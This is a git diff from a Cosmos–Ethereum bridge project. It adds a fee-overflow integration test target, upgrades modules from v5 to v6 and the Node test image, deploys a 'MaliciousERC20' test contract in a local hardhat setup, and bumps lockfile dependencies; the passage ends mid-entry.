diff --git a/Makefile b/Makefile index 7f15e2f68..8463fab32 100644 --- a/Makefile +++ b/Makefile @@ -18,6 +18,9 @@ e2e_slow_loris: e2e_clean_slate: @./clean_slate.sh +e2e_fee_overflow: e2e_clean_slate + E2E_SKIP_CLEANUP=true integration_tests/integration-tests.test -test.failfast -test.v -test.run IntegrationTestSuite -testify.m TestUnbatchedTxsTotalFeeOverflow || make -s fail + e2e_batch_stress: e2e_clean_slate @testnet/testnet.test -test.run TestBatchStress -test.failfast -test.v || make -s fail diff --git a/go.work.sum b/go.work.sum index 823648165..a9ab566cc 100644 --- a/go.work.sum +++ b/go.work.sum @@ -271,6 +271,7 @@ cloud.google.com/go/workflows v1.12.3 h1:qocsqETmLAl34mSa01hKZjcqAvt699gaoFbooGG cloud.google.com/go/workflows v1.12.3/go.mod h1:fmOUeeqEwPzIU81foMjTRQIdwQHADi/vEr1cx9R1m5g= collectd.org v0.3.0 h1:iNBHGw1VvPJxH2B6RiFWFZ+vsjo1lCdRszBeOuwGi00= cosmossdk.io/log v1.3.0/go.mod h1:HIDyvWLqZe2ovlWabsDN4aPMpY/nUEquAhgfTf2ZzB8= +cosmossdk.io/log v1.4.1 h1:wKdjfDRbDyZRuWa8M+9nuvpVYxrEOwbD/CA8hvhU8QM= cosmossdk.io/math v1.2.0/go.mod h1:l2Gnda87F0su8a/7FEKJfFdJrM0JZRXQaohlgJeyQh0= cosmossdk.io/simapp v0.0.0-20230323161446-0af178d721ff/go.mod h1:AKzx6Mb544LjJ9RHmGFHjY9rEOLiUAi8I0F727TR0dY= dario.cat/mergo v1.0.0/go.mod h1:uNxQE+84aUszobStD9th8a29P2fMDhsBdgRYvZOxGmk= @@ -530,6 +531,7 @@ github.com/cosmos/cosmos-proto v1.0.0-beta.3/go.mod h1:t8IASdLaAq+bbHbjq4p960Bvc github.com/cosmos/cosmos-sdk v0.47.8/go.mod h1:VTAtthIsmfplanhFfUTfT6ED4F+kkJxT7nmvmKXRthI= github.com/cosmos/cosmos-sdk/db v1.0.0-beta.1.0.20220726092710-f848e4300a8a h1:2humuGPw3O5riJVFq/E2FRjF57UrO97W1qJcGVmK+6k= github.com/cosmos/cosmos-sdk/db v1.0.0-beta.1.0.20220726092710-f848e4300a8a/go.mod h1:c8IO23vgNxueCCJlSI9awQtcxsvc+buzaeThB85qfBU= +github.com/cosmos/gogoproto v1.7.0 h1:79USr0oyXAbxg3rspGh/m4SWNyoz/GLaAh0QlCe2fro= github.com/cosmos/gorocksdb v1.2.0/go.mod h1:aaKvKItm514hKfNJpUJXnnOWeBnk2GL4+Qw9NHizILw= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= @@ -1165,6 +1167,7 @@ github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/zerolog v1.27.0/go.mod h1:7frBqO0oezxmnO7GF86FY++uy8I0Tk/If5ni1G9Qc0U= github.com/rs/zerolog v1.31.0/go.mod h1:/7mN4D5sKwJLZQ2b/znpjC3/GQWY/xaDXUM0kKWRHss= +github.com/rs/zerolog v1.33.0 h1:1cU2KZkvPxNyfgEmhHAz/1A9Bz+llsdYzklWFzgp0r8= github.com/russross/blackfriday v1.6.0/go.mod h1:ti0ldHuxg49ri4ksnFxlkCfN+hvslNlmVHqNRXXJNAY= github.com/ruudk/golang-pdf417 v0.0.0-20201230142125-a7e3863a1245 h1:K1Xf3bKttbF+koVGaX5xngRIZ5bVjbmPnaxE/dR08uY= github.com/ryancurrah/gomodguard v1.2.4 h1:CpMSDKan0LtNGGhPrvupAoLeObRFjND8/tU1rEOtBp4= @@ -1472,6 +1475,7 @@ golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.14.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI= golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= diff --git a/integration_tests/chain.go b/integration_tests/chain.go index 85fcb9125..bd574e960 100644 --- a/integration_tests/chain.go +++ b/integration_tests/chain.go @@ -39,10 +39,10 @@ import ( upgradeclient "github.com/cosmos/cosmos-sdk/x/upgrade/client" ibctransfer "github.com/cosmos/ibc-go/v7/modules/apps/transfer" ibc "github.com/cosmos/ibc-go/v7/modules/core" - "github.com/peggyjv/gravity-bridge/module/v5/app" - "github.com/peggyjv/gravity-bridge/module/v5/app/params" - gravityclient "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/client" - gravitytypes "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + "github.com/peggyjv/gravity-bridge/module/v6/app" + "github.com/peggyjv/gravity-bridge/module/v6/app/params" + gravityclient "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/client" + gravitytypes "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) const ( diff --git a/integration_tests/ethereum.go b/integration_tests/ethereum.go index b61235edb..90309b4f6 100644 --- a/integration_tests/ethereum.go +++ b/integration_tests/ethereum.go @@ -10,7 +10,7 @@ import ( sdk "github.com/cosmos/cosmos-sdk/types" "github.com/ethereum/go-ethereum/accounts/abi" "github.com/ethereum/go-ethereum/common" - gravitytypes "github.com/peggyjv/gravity-bridge/module/v5/x/gravity/types" + gravitytypes "github.com/peggyjv/gravity-bridge/module/v6/x/gravity/types" ) type EthereumConfig struct { diff --git a/integration_tests/ethereum/Dockerfile b/integration_tests/ethereum/Dockerfile index 2c686dba8..d55780879 100644 --- a/integration_tests/ethereum/Dockerfile +++ b/integration_tests/ethereum/Dockerfile @@ -1,4 +1,4 @@ -FROM node:14-alpine3.13 +FROM node:23.6-alpine3.21 RUN apk update RUN apk add --no-cache git python3 make build-base @@ -7,7 +7,6 @@ COPY package.json package.json COPY yarn.lock yarn.lock RUN yarn install --production=false -RUN npm config set user 0 COPY . . diff --git a/integration_tests/ethereum/hardhat.config.ts b/integration_tests/ethereum/hardhat.config.ts index b33ddd989..eb0997ea5 100644 --- a/integration_tests/ethereum/hardhat.config.ts +++ b/integration_tests/ethereum/hardhat.config.ts @@ -43,6 +43,11 @@ task( await testERC20.deployed(); console.log(`test ERC20 TestGB TGB deployed at - ${testERC20.address}`) + const MaliciousERC20 = await hre.ethers.getContractFactory("MaliciousERC20"); + const maliciousERC20 = (await MaliciousERC20.deploy()); + await maliciousERC20.deployed(); + console.log(`MaliciousERC20 deployed at - ${maliciousERC20.address}`) + await hre.network.provider.send("evm_setIntervalMining", [1000]); await hre.run('node'); diff --git a/integration_tests/ethereum/yarn.lock b/integration_tests/ethereum/yarn.lock index a93660081..5cddad834 100644 --- a/integration_tests/ethereum/yarn.lock +++ b/integration_tests/ethereum/yarn.lock @@ -2,17 +2,12 @@ # yarn lockfile v1 -"@cspotcode/source-map-consumer@0.8.0": - version "0.8.0" - resolved "https://registry.yarnpkg.com/@cspotcode/source-map-consumer/-/source-map-consumer-0.8.0.tgz#33bf4b7b39c178821606f669bbc447a6a629786b" - integrity sha512-41qniHzTU8yAGbCp04ohlmSrZf8bkf/iJsl3V0dRGsQN/5GFfx+LbCSsCpp2gqrqjTVg/K6O8ycoV35JIwAzAg== - -"@cspotcode/source-map-support@0.7.0": - version "0.7.0" - resolved "https://registry.yarnpkg.com/@cspotcode/source-map-support/-/source-map-support-0.7.0.tgz#4789840aa859e46d2f3173727ab707c66bf344f5" - integrity sha512-X4xqRHqN8ACt2aHVe51OxeA2HjbcL4MqFqXkrmQszJ1NOUuUu5u6Vqx/0lZSVNku7velL5FC/s5uEAj1lsBMhA== +"@cspotcode/source-map-support@^0.8.0": + version "0.8.1" + resolved "https://registry.yarnpkg.com/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz#00629c35a688e05a88b1cda684fb9d5e73f000a1" + integrity sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw== dependencies: - "@cspotcode/source-map-consumer" "0.8.0" + "@jridgewell/trace-mapping" "0.3.9" "@ethereum-waffle/chai@4.0.10": version "4.0.10" @@ -141,345 +136,352 @@ merkle-patricia-tree "^4.2.2" rustbn.js "~0.2.0" -"@ethersproject/abi@5.5.0", "@ethersproject/abi@^5.1.2", "@ethersproject/abi@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/abi/-/abi-5.5.0.tgz#fb52820e22e50b854ff15ce1647cc508d6660613" - integrity sha512-loW7I4AohP5KycATvc0MgujU6JyCHPqHdeoo9z3Nr9xEiNioxa65ccdm1+fsoJhkuhdRtfcL8cfyGamz2AxZ5w== - dependencies: - "@ethersproject/address" "^5.5.0" - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/constants" "^5.5.0" - "@ethersproject/hash" "^5.5.0" - "@ethersproject/keccak256" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - "@ethersproject/strings" "^5.5.0" - -"@ethersproject/abstract-provider@5.5.1", "@ethersproject/abstract-provider@^5.5.0": - version "5.5.1" - resolved "https://registry.yarnpkg.com/@ethersproject/abstract-provider/-/abstract-provider-5.5.1.tgz#2f1f6e8a3ab7d378d8ad0b5718460f85649710c5" - integrity sha512-m+MA/ful6eKbxpr99xUYeRvLkfnlqzrF8SZ46d/xFB1A7ZVknYc/sXJG0RcufF52Qn2jeFj1hhcoQ7IXjNKUqg== - dependencies: - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/networks" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - "@ethersproject/transactions" "^5.5.0" - "@ethersproject/web" "^5.5.0" - -"@ethersproject/abstract-signer@5.5.0", "@ethersproject/abstract-signer@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/abstract-signer/-/abstract-signer-5.5.0.tgz#590ff6693370c60ae376bf1c7ada59eb2a8dd08d" - integrity sha512-lj//7r250MXVLKI7sVarXAbZXbv9P50lgmJQGr2/is82EwEb8r7HrxsmMqAjTsztMYy7ohrIhGMIml+Gx4D3mA== - dependencies: - "@ethersproject/abstract-provider" "^5.5.0" - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - -"@ethersproject/address@5.5.0", "@ethersproject/address@^5.0.2", "@ethersproject/address@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/address/-/address-5.5.0.tgz#bcc6f576a553f21f3dd7ba17248f81b473c9c78f" - integrity sha512-l4Nj0eWlTUh6ro5IbPTgbpT4wRbdH5l8CQf7icF7sb/SI3Nhd9Y9HzhonTSTi6CefI0necIw7LJqQPopPLZyWw== - dependencies: - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/keccak256" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/rlp" "^5.5.0" - -"@ethersproject/base64@5.5.0", "@ethersproject/base64@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/base64/-/base64-5.5.0.tgz#881e8544e47ed976930836986e5eb8fab259c090" - integrity sha512-tdayUKhU1ljrlHzEWbStXazDpsx4eg1dBXUSI6+mHlYklOXoXF6lZvw8tnD6oVaWfnMxAgRSKROg3cVKtCcppA== - dependencies: - "@ethersproject/bytes" "^5.5.0" - -"@ethersproject/basex@5.5.0", "@ethersproject/basex@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/basex/-/basex-5.5.0.tgz#e40a53ae6d6b09ab4d977bd037010d4bed21b4d3" - integrity sha512-ZIodwhHpVJ0Y3hUCfUucmxKsWQA5TMnavp5j/UOuDdzZWzJlRmuOjcTMIGgHCYuZmHt36BfiSyQPSRskPxbfaQ== - dependencies: - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - -"@ethersproject/bignumber@5.5.0", "@ethersproject/bignumber@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/bignumber/-/bignumber-5.5.0.tgz#875b143f04a216f4f8b96245bde942d42d279527" - integrity sha512-6Xytlwvy6Rn3U3gKEc1vP7nR92frHkv6wtVr95LFR3jREXiCPzdWxKQ1cx4JGQBXxcguAwjA8murlYN2TSiEbg== - dependencies: - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - bn.js "^4.11.9" - -"@ethersproject/bytes@5.5.0", "@ethersproject/bytes@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/bytes/-/bytes-5.5.0.tgz#cb11c526de657e7b45d2e0f0246fb3b9d29a601c" - integrity sha512-ABvc7BHWhZU9PNM/tANm/Qx4ostPGadAuQzWTr3doklZOhDlmcBqclrQe/ZXUIj3K8wC28oYeuRa+A37tX9kog== - dependencies: - "@ethersproject/logger" "^5.5.0" - -"@ethersproject/constants@5.5.0", "@ethersproject/constants@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/constants/-/constants-5.5.0.tgz#d2a2cd7d94bd1d58377d1d66c4f53c9be4d0a45e" - integrity sha512-2MsRRVChkvMWR+GyMGY4N1sAX9Mt3J9KykCsgUFd/1mwS0UH1qw+Bv9k1UJb3X3YJYFco9H20pjSlOIfCG5HYQ== - dependencies: - "@ethersproject/bignumber" "^5.5.0" - -"@ethersproject/contracts@5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/contracts/-/contracts-5.5.0.tgz#b735260d4bd61283a670a82d5275e2a38892c197" - integrity sha512-2viY7NzyvJkh+Ug17v7g3/IJC8HqZBDcOjYARZLdzRxrfGlRgmYgl6xPRKVbEzy1dWKw/iv7chDcS83pg6cLxg== - dependencies: - "@ethersproject/abi" "^5.5.0" - "@ethersproject/abstract-provider" "^5.5.0" - "@ethersproject/abstract-signer" "^5.5.0" - "@ethersproject/address" "^5.5.0" - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/constants" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - "@ethersproject/transactions" "^5.5.0" - -"@ethersproject/hash@5.5.0", "@ethersproject/hash@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/hash/-/hash-5.5.0.tgz#7cee76d08f88d1873574c849e0207dcb32380cc9" - integrity sha512-dnGVpK1WtBjmnp3mUT0PlU2MpapnwWI0PibldQEq1408tQBAbZpPidkWoVVuNMOl/lISO3+4hXZWCL3YV7qzfg== - dependencies: - "@ethersproject/abstract-signer" "^5.5.0" - "@ethersproject/address" "^5.5.0" - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/keccak256" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - "@ethersproject/strings" "^5.5.0" - -"@ethersproject/hdnode@5.5.0", "@ethersproject/hdnode@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/hdnode/-/hdnode-5.5.0.tgz#4a04e28f41c546f7c978528ea1575206a200ddf6" - integrity sha512-mcSOo9zeUg1L0CoJH7zmxwUG5ggQHU1UrRf8jyTYy6HxdZV+r0PBoL1bxr+JHIPXRzS6u/UW4mEn43y0tmyF8Q== - dependencies: - "@ethersproject/abstract-signer" "^5.5.0" - "@ethersproject/basex" "^5.5.0" - "@ethersproject/bignumber" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/pbkdf2" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - "@ethersproject/sha2" "^5.5.0" - "@ethersproject/signing-key" "^5.5.0" - "@ethersproject/strings" "^5.5.0" - "@ethersproject/transactions" "^5.5.0" - "@ethersproject/wordlists" "^5.5.0" - -"@ethersproject/json-wallets@5.5.0", "@ethersproject/json-wallets@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/json-wallets/-/json-wallets-5.5.0.tgz#dd522d4297e15bccc8e1427d247ec8376b60e325" - integrity sha512-9lA21XQnCdcS72xlBn1jfQdj2A1VUxZzOzi9UkNdnokNKke/9Ya2xA9aIK1SC3PQyBDLt4C+dfps7ULpkvKikQ== - dependencies: - "@ethersproject/abstract-signer" "^5.5.0" - "@ethersproject/address" "^5.5.0" - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/hdnode" "^5.5.0" - "@ethersproject/keccak256" "^5.5.0" - "@ethersproject/logger" "^5.5.0" - "@ethersproject/pbkdf2" "^5.5.0" - "@ethersproject/properties" "^5.5.0" - "@ethersproject/random" "^5.5.0" - "@ethersproject/strings" "^5.5.0" - "@ethersproject/transactions" "^5.5.0" +"@ethersproject/abi@5.7.0", "@ethersproject/abi@^5.1.2", "@ethersproject/abi@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/abi/-/abi-5.7.0.tgz#b3f3e045bbbeed1af3947335c247ad625a44e449" + integrity sha512-351ktp42TiRcYB3H1OP8yajPeAQstMW/yCFokj/AthP9bLHzQFPlOrxOcwYEDkUAICmOHljvN4K39OMTMUa9RA== + dependencies: + "@ethersproject/address" "^5.7.0" + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/constants" "^5.7.0" + "@ethersproject/hash" "^5.7.0" + "@ethersproject/keccak256" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + "@ethersproject/strings" "^5.7.0" + +"@ethersproject/abstract-provider@5.7.0", "@ethersproject/abstract-provider@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/abstract-provider/-/abstract-provider-5.7.0.tgz#b0a8550f88b6bf9d51f90e4795d48294630cb9ef" + integrity sha512-R41c9UkchKCpAqStMYUpdunjo3pkEvZC3FAwZn5S5MGbXoMQOHIdHItezTETxAO5bevtMApSyEhn9+CHcDsWBw== + dependencies: + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/networks" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + "@ethersproject/transactions" "^5.7.0" + "@ethersproject/web" "^5.7.0" + +"@ethersproject/abstract-signer@5.7.0", "@ethersproject/abstract-signer@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/abstract-signer/-/abstract-signer-5.7.0.tgz#13f4f32117868452191a4649723cb086d2b596b2" + integrity sha512-a16V8bq1/Cz+TGCkE2OPMTOUDLS3grCpdjoJCYNnVBbdYEMSgKrU0+B90s8b6H+ByYTBZN7a3g76jdIJi7UfKQ== + dependencies: + "@ethersproject/abstract-provider" "^5.7.0" + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + +"@ethersproject/address@5.7.0", "@ethersproject/address@^5.0.2", "@ethersproject/address@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/address/-/address-5.7.0.tgz#19b56c4d74a3b0a46bfdbb6cfcc0a153fc697f37" + integrity sha512-9wYhYt7aghVGo758POM5nqcOMaE168Q6aRLJZwUmiqSrAungkG74gSSeKEIR7ukixesdRZGPgVqme6vmxs1fkA== + dependencies: + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/keccak256" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/rlp" "^5.7.0" + +"@ethersproject/base64@5.7.0", "@ethersproject/base64@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/base64/-/base64-5.7.0.tgz#ac4ee92aa36c1628173e221d0d01f53692059e1c" + integrity sha512-Dr8tcHt2mEbsZr/mwTPIQAf3Ai0Bks/7gTw9dSqk1mQvhW3XvRlmDJr/4n+wg1JmCl16NZue17CDh8xb/vZ0sQ== + dependencies: + "@ethersproject/bytes" "^5.7.0" + +"@ethersproject/basex@5.7.0", "@ethersproject/basex@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/basex/-/basex-5.7.0.tgz#97034dc7e8938a8ca943ab20f8a5e492ece4020b" + integrity sha512-ywlh43GwZLv2Voc2gQVTKBoVQ1mti3d8HK5aMxsfu/nRDnMmNqaSJ3r3n85HBByT8OpoY96SXM1FogC533T4zw== + dependencies: + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + +"@ethersproject/bignumber@5.7.0", "@ethersproject/bignumber@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/bignumber/-/bignumber-5.7.0.tgz#e2f03837f268ba655ffba03a57853e18a18dc9c2" + integrity sha512-n1CAdIHRWjSucQO3MC1zPSVgV/6dy/fjL9pMrPP9peL+QxEg9wOsVqwD4+818B6LUEtaXzVHQiuivzRoxPxUGw== + dependencies: + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + bn.js "^5.2.1" + +"@ethersproject/bytes@5.7.0", "@ethersproject/bytes@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/bytes/-/bytes-5.7.0.tgz#a00f6ea8d7e7534d6d87f47188af1148d71f155d" + integrity sha512-nsbxwgFXWh9NyYWo+U8atvmMsSdKJprTcICAkvbBffT75qDocbuggBU0SJiVK2MuTrp0q+xvLkTnGMPK1+uA9A== + dependencies: + "@ethersproject/logger" "^5.7.0" + +"@ethersproject/constants@5.7.0", "@ethersproject/constants@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/constants/-/constants-5.7.0.tgz#df80a9705a7e08984161f09014ea012d1c75295e" + integrity sha512-DHI+y5dBNvkpYUMiRQyxRBYBefZkJfo70VUkUAsRjcPs47muV9evftfZ0PJVCXYbAiCgght0DtcF9srFQmIgWA== + dependencies: + "@ethersproject/bignumber" "^5.7.0" + +"@ethersproject/contracts@5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/contracts/-/contracts-5.7.0.tgz#c305e775abd07e48aa590e1a877ed5c316f8bd1e" + integrity sha512-5GJbzEU3X+d33CdfPhcyS+z8MzsTrBGk/sc+G+59+tPa9yFkl6HQ9D6L0QMgNTA9q8dT0XKxxkyp883XsQvbbg== + dependencies: + "@ethersproject/abi" "^5.7.0" + "@ethersproject/abstract-provider" "^5.7.0" + "@ethersproject/abstract-signer" "^5.7.0" + "@ethersproject/address" "^5.7.0" + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/constants" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + "@ethersproject/transactions" "^5.7.0" + +"@ethersproject/hash@5.7.0", "@ethersproject/hash@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/hash/-/hash-5.7.0.tgz#eb7aca84a588508369562e16e514b539ba5240a7" + integrity sha512-qX5WrQfnah1EFnO5zJv1v46a8HW0+E5xuBBDTwMFZLuVTx0tbU2kkx15NqdjxecrLGatQN9FGQKpb1FKdHCt+g== + dependencies: + "@ethersproject/abstract-signer" "^5.7.0" + "@ethersproject/address" "^5.7.0" + "@ethersproject/base64" "^5.7.0" + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/keccak256" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + "@ethersproject/strings" "^5.7.0" + +"@ethersproject/hdnode@5.7.0", "@ethersproject/hdnode@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/hdnode/-/hdnode-5.7.0.tgz#e627ddc6b466bc77aebf1a6b9e47405ca5aef9cf" + integrity sha512-OmyYo9EENBPPf4ERhR7oj6uAtUAhYGqOnIS+jE5pTXvdKBS99ikzq1E7Iv0ZQZ5V36Lqx1qZLeak0Ra16qpeOg== + dependencies: + "@ethersproject/abstract-signer" "^5.7.0" + "@ethersproject/basex" "^5.7.0" + "@ethersproject/bignumber" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/pbkdf2" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + "@ethersproject/sha2" "^5.7.0" + "@ethersproject/signing-key" "^5.7.0" + "@ethersproject/strings" "^5.7.0" + "@ethersproject/transactions" "^5.7.0" + "@ethersproject/wordlists" "^5.7.0" + +"@ethersproject/json-wallets@5.7.0", "@ethersproject/json-wallets@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/json-wallets/-/json-wallets-5.7.0.tgz#5e3355287b548c32b368d91014919ebebddd5360" + integrity sha512-8oee5Xgu6+RKgJTkvEMl2wDgSPSAQ9MB/3JYjFV9jlKvcYHUXZC+cQp0njgmxdHkYWn8s6/IqIZYm0YWCjO/0g== + dependencies: + "@ethersproject/abstract-signer" "^5.7.0" + "@ethersproject/address" "^5.7.0" + "@ethersproject/bytes" "^5.7.0" + "@ethersproject/hdnode" "^5.7.0" + "@ethersproject/keccak256" "^5.7.0" + "@ethersproject/logger" "^5.7.0" + "@ethersproject/pbkdf2" "^5.7.0" + "@ethersproject/properties" "^5.7.0" + "@ethersproject/random" "^5.7.0" + "@ethersproject/strings" "^5.7.0" + "@ethersproject/transactions" "^5.7.0" aes-js "3.0.0" scrypt-js "3.0.1" -"@ethersproject/keccak256@5.5.0", "@ethersproject/keccak256@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/keccak256/-/keccak256-5.5.0.tgz#e4b1f9d7701da87c564ffe336f86dcee82983492" - integrity sha512-5VoFCTjo2rYbBe1l2f4mccaRFN/4VQEYFwwn04aJV2h7qf4ZvI2wFxUE1XOX+snbwCLRzIeikOqtAoPwMza9kg== +"@ethersproject/keccak256@5.7.0", "@ethersproject/keccak256@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/keccak256/-/keccak256-5.7.0.tgz#3186350c6e1cd6aba7940384ec7d6d9db01f335a" + integrity sha512-2UcPboeL/iW+pSg6vZ6ydF8tCnv3Iu/8tUmLLzWWGzxWKFFqOBQFLo6uLUv6BDrLgCDfN28RJ/wtByx+jZ4KBg== dependencies: - "@ethersproject/bytes" "^5.5.0" + "@ethersproject/bytes" "^5.7.0" js-sha3 "0.8.0" -"@ethersproject/logger@5.5.0", "@ethersproject/logger@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/logger/-/logger-5.5.0.tgz#0c2caebeff98e10aefa5aef27d7441c7fd18cf5d" - integrity sha512-rIY/6WPm7T8n3qS2vuHTUBPdXHl+rGxWxW5okDfo9J4Z0+gRRZT0msvUdIJkE4/HS29GUMziwGaaKO2bWONBrg== - -"@ethersproject/networks@5.5.1", "@ethersproject/networks@^5.5.0": - version "5.5.1" - resolved "https://registry.yarnpkg.com/@ethersproject/networks/-/networks-5.5.1.tgz#b7f7b9fb88dec1ea48f739b7fb9621311aa8ce6c" - integrity sha512-tYRDM4zZtSUcKnD4UMuAlj7SeXH/k5WC4SP2u1Pn57++JdXHkRu2zwNkgNogZoxHzhm9Q6qqurDBVptHOsW49Q== - dependencies: - "@ethersproject/logger" "^5.5.0" - -"@ethersproject/pbkdf2@5.5.0", "@ethersproject/pbkdf2@^5.5.0": - version "5.5.0" - resolved "https://registry.yarnpkg.com/@ethersproject/pbkdf2/-/pbkdf2-5.5.0.tgz#e25032cdf02f31505d47afbf9c3e000d95c4a050" - integrity sha512-SaDvQFvXPnz1QGpzr6/HToLifftSXGoXrbpZ6BvoZhmx4bNLHrxDe8MZisuecyOziP1aVEwzC2Hasj+86TgWVg== - dependencies: - "@ethersproject/bytes" "^5.5.0" - "@ethersproject/sha2" "^5.5.0" +"@ethersproject/logger@5.7.0", "@ethersproject/logger@^5.7.0": + version "5.7.0" + resolved "https://registry.yarnpkg.com/@ethersproject/logger/-/logger-5.7.0.tgz#6ce9ae168e74fecf287be17062b590852c311892" + integrity 